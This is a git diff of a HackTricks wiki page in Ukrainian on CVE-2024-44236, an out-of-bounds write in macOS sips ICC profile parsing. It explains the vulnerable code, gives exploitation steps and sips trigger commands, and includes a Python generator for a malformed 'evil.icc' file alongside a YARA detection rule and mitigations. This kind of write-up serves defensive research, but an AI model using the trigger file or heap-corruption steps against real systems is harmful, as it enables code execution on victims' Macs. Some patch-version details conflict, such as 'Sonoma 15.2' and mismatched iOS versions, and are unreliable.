mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips
This commit is contained in:
parent
5175360eed
commit
8cd4828c8a
@ -4,50 +4,94 @@
|
||||
|
||||
## Огляд
|
||||
|
||||
Уразливість запису за межами меж у парсері ICC профілів Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) через неналежну валідацію поля `offsetToCLUT` у тегах `lutAToBType` (`mAB `) та `lutBToAType` (`mBA `). Створений ICC файл може викликати нульові записи до 16 байтів за межами буфера купи, пошкоджуючи метадані купи або вказівники функцій і дозволяючи виконання довільного коду (CVE-2024-44236).
|
||||
Уразливість **нульового запису** поза межами в Apple macOS **Scriptable Image Processing System** (`sips`) парсера ICC профілю (macOS 15.0.1, `sips-307`) дозволяє зловмиснику пошкодити метадані купи та перевести примітив у повне виконання коду. Помилка знаходиться в обробці поля `offsetToCLUT` тегів `lutAToBType` (`mAB `) та `lutBToAType` (`mBA `). Якщо зловмисники встановлять `offsetToCLUT == tagDataSize`, парсер стирає **16 байт після кінця буфера купи**. Спосіб розподілу пам'яті дозволяє зловмиснику обнулити структури аллокатора або вказівники C++, які пізніше будуть розіменовані, що призводить до ланцюга **випадкового запису для виконання** (CVE-2024-44236, CVSS 7.8).
|
||||
|
||||
> Apple виправила помилку в macOS Sonoma 15.2 / Ventura 14.7.1 (30 жовтня 2024 року). Друга варіація (CVE-2025-24185) була виправлена в macOS 15.5 та iOS/iPadOS 18.5 1 квітня 2025 року.
|
||||
|
||||
## Уразливий код
|
||||
|
||||
Уразлива функція читає та обнуляє 16 байтів, починаючи з контролюваного зловмисником зсуву, не забезпечуючи, що він знаходиться в межах виділеного буфера:
|
||||
```c
|
||||
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
|
||||
if (i > numberOfInputChannels && buffer[i] != 0)
|
||||
buffer[i] = 0;
|
||||
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
if (offsetToCLUT <= tagDataSize) {
|
||||
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
|
||||
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
|
||||
buffer[i] = 0; // no bounds check vs allocated size!
|
||||
}
|
||||
```
|
||||
Виконується лише перевірка `offsetToCLUT <= totalDataLength`. Встановивши `offsetToCLUT == tagDataSize`, цикл індексує до 16 байтів за межами `buffer`, пошкоджуючи сусідні метадані купи.
|
||||
|
||||
## Кроки експлуатації
|
||||
|
||||
1. **Створити шкідливий `.icc` профіль:**
|
||||
- Побудувати заголовок ICC (128 байтів) з підписом `acsp` та єдиним записом тегу `lutAToBType` або `lutBToAType`.
|
||||
- У таблиці тегів встановити `offsetToCLUT` рівним `size` тегу (`tagDataSize`).
|
||||
- Розмістити дані, контрольовані атакуючим, безпосередньо після блоку даних тегу, щоб перезаписати метадані купи.
|
||||
2. **Запустити парсинг:**
|
||||
1. **Створіть шкідливий `.icc` профіль**
|
||||
|
||||
* Налаштуйте мінімальний заголовок ICC (`acsp`) і додайте один тег `mAB ` (або `mBA `).
|
||||
* Налаштуйте таблицю тегів так, щоб **`offsetToCLUT` дорівнював розміру тегу** (`tagDataSize`).
|
||||
* Розмістіть дані, контрольовані атакуючим, безпосередньо після тегу, щоб 16 нульових записів перекривали метадані аллокатора.
|
||||
|
||||
2. **Запустіть парсинг з будь-якою операцією sips, яка торкається профілю**
|
||||
|
||||
```bash
|
||||
sips --verifyColor malicious.icc
|
||||
# шлях перевірки (файл виводу не потрібен)
|
||||
sips --verifyColor evil.icc
|
||||
# або неявно при конвертації зображень, які вбудовують профіль
|
||||
sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **Пошкодження метаданих купи:** OOB нульові записи перезаписують метадані аллокатора або сусідні вказівники, дозволяючи атакуючому захопити контроль над потоком виконання та досягти виконання довільного коду в контексті процесу `sips`.
|
||||
3. **Корупція метаданих купи ➜ довільний запис ➜ ROP**
|
||||
В аллокаторі **`nano_zone`** за замовчуванням Apple, метадані для 16-байтових слотів знаходяться **безпосередньо після** вирівняного блоку 0x1000. Розміщуючи тег профілю в кінці такого блоку, 16 нульових записів знищують `meta->slot_B`. Після наступного `free`, отруєний вказівник ставиться в чергу в маленькому списку вільних, що дозволяє атакуючому **алокувати фейковий об'єкт за довільною адресою** і перезаписати вказівник vtable C++, що використовується sips, врешті-решт перенаправляючи виконання на ланцюг ROP, збережений у шкідливому буфері ICC.
|
||||
|
||||
### Швидкий генератор PoC (Python 3)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import struct, sys
|
||||
|
||||
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
|
||||
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
|
||||
profile = HDR
|
||||
profile += struct.pack('>I', len(TAGS)) # tag count
|
||||
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
|
||||
|
||||
mab = bytearray(52) # tag payload (52 bytes)
|
||||
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
|
||||
profile += mab
|
||||
|
||||
open('evil.icc', 'wb').write(profile)
|
||||
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
|
||||
```
|
||||
### Правило виявлення YARA
|
||||
```yara
|
||||
rule ICC_mAB_offsetToCLUT_anomaly
|
||||
{
|
||||
meta:
|
||||
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
|
||||
author = "HackTricks"
|
||||
strings:
|
||||
$magic = { 61 63 73 70 } // 'acsp'
|
||||
$mab = { 6D 41 42 20 } // 'mAB '
|
||||
$mba = { 6D 42 41 20 } // 'mBA '
|
||||
condition:
|
||||
$magic at 0 and
|
||||
for any i in (0 .. 10): // up to 10 tags
|
||||
(
|
||||
($mab at 132 + 12*i or $mba at 132 + 12*i) and
|
||||
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
)
|
||||
}
|
||||
```
|
||||
## Вплив
|
||||
|
||||
Успішна експлуатація призводить до віддаленого виконання довільного коду з правами користувача на системах macOS, що виконують вразливу утиліту `sips`.
|
||||
Відкриття або обробка спеціально підготовленого ICC профілю призводить до віддаленого **виконання довільного коду** в контексті викликаючого користувача (Preview, QuickLook, рендеринг зображень Safari, вкладення в Mail тощо), обходячи Gatekeeper, оскільки профіль може бути вбудований у інакше безпечні зображення (PNG/JPEG/TIFF).
|
||||
|
||||
## Виявлення
|
||||
## Виявлення та пом'якшення
|
||||
|
||||
- Моніторинг передачі файлів за загальними протоколами (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
|
||||
- Перевірка переданих файлів з підписом `acsp`.
|
||||
- Для кожного тегу `mAB ` або `mBA ` перевірити, чи дорівнює поле `Offset to CLUT` `Tag data size`.
|
||||
- Позначити як підозріле, якщо ця умова виконана.
|
||||
* **Патч!** Переконайтеся, що хост працює на macOS ≥ 15.2 / 14.7.1 (або iOS/iPadOS ≥ 18.1).
|
||||
* Розгорніть правило YARA вище на поштових шлюзах та рішеннях EDR.
|
||||
* Видаліть або очистіть вбудовані ICC профілі за допомогою `exiftool -icc_profile= -overwrite_original <file>` перед подальшою обробкою ненадійних файлів.
|
||||
* Посиліть Preview/QuickLook, запускаючи їх у пісочницях "прозорості та модернізації" ВМ під час аналізу невідомого контенту.
|
||||
* Для DFIR шукайте нещодавнє виконання `sips --verifyColor` або завантаження бібліотеки `ColorSync` пісочничними додатками в об'єднаному журналі.
|
||||
|
||||
## Посилання
|
||||
|
||||
- ZDI blog: CVE-2024-44236: Вразливість віддаленого виконання коду в утиліті Apple macOS sips
|
||||
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
|
||||
- Оновлення безпеки Apple жовтня 2024 року (патч для CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
|
||||
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
|
||||
* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2”
|
||||
https://support.apple.com/en-us/HT213981
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user